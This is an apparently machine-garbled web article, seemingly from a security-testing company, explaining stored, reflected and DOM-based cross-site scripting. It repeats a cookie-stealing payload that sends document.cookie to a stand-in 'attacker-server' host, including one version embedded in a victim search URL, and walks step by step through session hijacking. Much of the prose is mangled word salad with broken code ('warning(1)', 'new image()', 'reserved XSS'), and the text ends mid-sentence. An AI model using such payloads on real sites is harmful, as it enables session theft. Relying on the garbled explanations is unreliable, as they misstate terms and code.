Payload Xss Protection: Key Steps For A Safer Online Environment

Payload Xss Protection: Key Steps For A Safer Online Environment – Cross-Site Scripting (XSS) An overview of the three main types of Cross-Site Scripting (XSS) attacks: reflexive, stored, and DOM-based.

Introduction This document provides an overview of the three main types of XSS attacks. Clear definitions with detailed diagrams that clearly explain how the attack works. A useful resource for web developers or companies evaluating web application security What is XSS (Cross-Site Scripting) What is XSS? Cross-site scripting, also known as XSS, is a client-side attack in which code is executed by injecting JavaScript into a web application in the victim’s browser and the victim visits a vulnerable URL. Or tricks the user into clicking on a link with useful content formatted directly in the URL. The three main types of cross-site scripting are documented below: reflected XSS, cached XSS, and DOM-based XSS. Different Types of XSS Explained Definition of Stored XSS Stored XSS occurs when user-supplied input is stored and then displayed on a web page. Common entry points for reserved user profiles and username field. An attacker typically exploits this vulnerability by injecting XSS content into pages of popular websites or by providing a link to the victim, causing the victim to visit a page containing cached XSS content. The victim’s page is visited and the victim’s web browser executes the client-side payload. Persistent XSS is also known as persistent cross-site scripting or persistent XSS. Stored . Common Entry Points for Stored XSS Stored XSS requires user-supplied input to be stored (persistently) by the application and displayed on the page. The following list identifies some common places where stored XSS vulnerabilities exist: Posts Forums Blogs Comments Profile Pages About Admin Portals Looking for a manual security assessment? For more details visit our Penetration Testing Services page. Common Attack Vectors for Secure XSS An attacker can execute JavaScript of their choice on a victim’s computer, thus greater gravity. Browsers designed for browsers Browsers – Beef (redirecting browsers vulnerable to exploit) Steal / Hijack Session XS Logging Steal Cookies CSRF TokenFake Tokenback FormsSubs FormsSubs HTML 5Cookie Alerts Blog Comment System The following XSS payload attempts to load an image with the victim’s cookie information into the request URL from the attacking server. Once the image is requested, the attacker can extract the victim’s session identifier from the web server log file.var+img=new+image();img.src=”http://attacker -server/” + document .cookie ;Stored XSS Cookie Stealing Diagram Explained XSS Cookie Stealing Example Attacker sends an XSS payload to the victim var+img=new+image(); img.src=”http://attacker- server /” + document. Cookies;The victim requests a page from the server, or the attacker tricked the victim into viewing the page, or the XSS payload is on a popular page. The web server delivers a page containing an XSS payload to the victim’s web browser. The victim’s browser executes a JavaScript payload, and a request to load an image containing the victim’s cookie information is sent to the attacker’s web server. The attacker now has the victim’s session identifier, which allows him to hijack the session. Reflective XSS Definition Reflective XSS is short for reflective cross-site scripting, also known as Type II XSS and non-persistent cross-site scripting. Reflective XSS is one of the three main types of XSS, namely: reflective XSS, reserved XSS, and DOM-based XSS. During a reflected XSS attack, the payload is not stored in the application and is only returned in the HTML response. Reflected cross-site scripting vulnerability allows injecting malicious JavaScript payloads such as: warning(1) into user-supplied input, the payload is sent and reflected in the web server response and executed on the client next to the victim’s web browser. . The entire attack is performed with a single request and response, so the name reflects XSS. This is why it is sometimes called Type II XSS, since the entire attack occurs in the request and response. Reflected reflected In the example below, a warning window will be displayed, but reflected XSS can be used to further exploit the web application, see session hijacking example below. A common example of reflective XSS Reflective XSS requires user input to be reflected on the web page. A common example is a contact form that accepts user input and reflects it in a page response. For example, a form that prints the person’s name after submitting the form with a message like “Thank you for your inquiry $YourName, we will contact you soon.” An attacker will attempt to insert payloads into the form name input field to attempt to display the payloads in the response. How can an attacker exploit a reflected XSS vulnerability? Example of session hijacking. It is important to understand that XSS goes beyond warnings, the warning field is only used for proof-of-concept testing. If an attacker can execute the reflexive JavaScript of her choice, many options are available depending on the other vulnerabilities in the target environment. Session hijacking is a good example that shows the potential severity of reflected XSS vulnerabilities. Conditions Cookies are used for session identifiers No “HTTPonly” cookie flag set Insufficient input validation/XSS mirrored Description The attacker needs to deliver a payload to the victim, a common example would be creating a payload within the URL like:http:// victim -server?search

=var+img=new+image();img.src=”http://attacker-server/” + document.cookie;

Payload Xss Protection: Key Steps For A Safer Online Environment

The above payload attempts to open a non-existent image file on an attacker-controlled web server + document.cookie; It will mark the victim’s cookie information at the end of the URL. The attacker obtains the victim cookie from the web server log file and uses the session identifier (cookie) to register as a victim. Step by Step: XSS Session Hijacking Example XSS Session Hijacking Diagram An attacker detects reflective XSS using proof-of-concept reflective XSS techniques. The attacker creates a payload within the URL (usually encoded to hide it from the victim) and delivers the payload to the victim. The victim clicks on the payload provided by the attacker. Cookie data containing the victim’s session identifier is sent to the attacker’s web server. The attacker uses the victim’s session identifier over XSS based on the login domain. The definition of DOM-based XSS occurs when the user can control the input (aka source) and its output (aka sink) rendered within the page. This allows an attacker to manipulate the DOM objects displayed on the page, typically payloads crafted within URLs. The vulnerable environment incorrectly handles and processes the XSS payload and embeds it into the page. An attacker can manipulate the following Source objects document.url, document.location, or document.referrer to inject an XSS payload and render the output within the page. The important thing to remember about a DOM based service is that it is not processed by the web server, the victim just needs to click on the generated payload link and the rendering of the payload is handled on the client side. DOM XSS is not managed by a DOM-based XSS server. Payloads are never sent to the server, # or ? it is not sent to the server, so server-side filtering and other filtering mechanisms such as web application firewalls (WAFs) or framework-specific XSS filter protections such as ASP.NET request validation will not prevent DOM-based XSS , as the payload remains and is executed by the customer. . If you are looking for third-party mobile app security testing services for iOS and Android apps, please visit our mobile app security testing services page for more details. DOM-based XSS Attacks: A detailed analysis of DOM-based XSS attacks follows: An attacker discovers a DOM-based XSS vulnerability. An attacker creates a payload and sends a URL to the victim (email, social media, instant messaging, SMS, etc.) and the victim clicks on the URL. The victim’s browser sends a request to the vulnerable site (Note: The request does not contain an XSS payload) The web server responds with a web page (Note: This response does not contain an XSS payload) The victim’s web browser displays a page with the Attacker’s XSS payload Have you recently had a Have you tested the vulnerability? See our vulnerability assessment service for more information. DOM-based XSS cookie theft

Cross Site Scripting — Reflected (custom Header)

Attacker sends the above payload: The victim’s browser requests the page at the attacker’s URL – Note: The payload is never sent to the server, anything after that? is not sent to the server, can you use # instead? The web server hosting the site responds to DOM-based XSS (Note: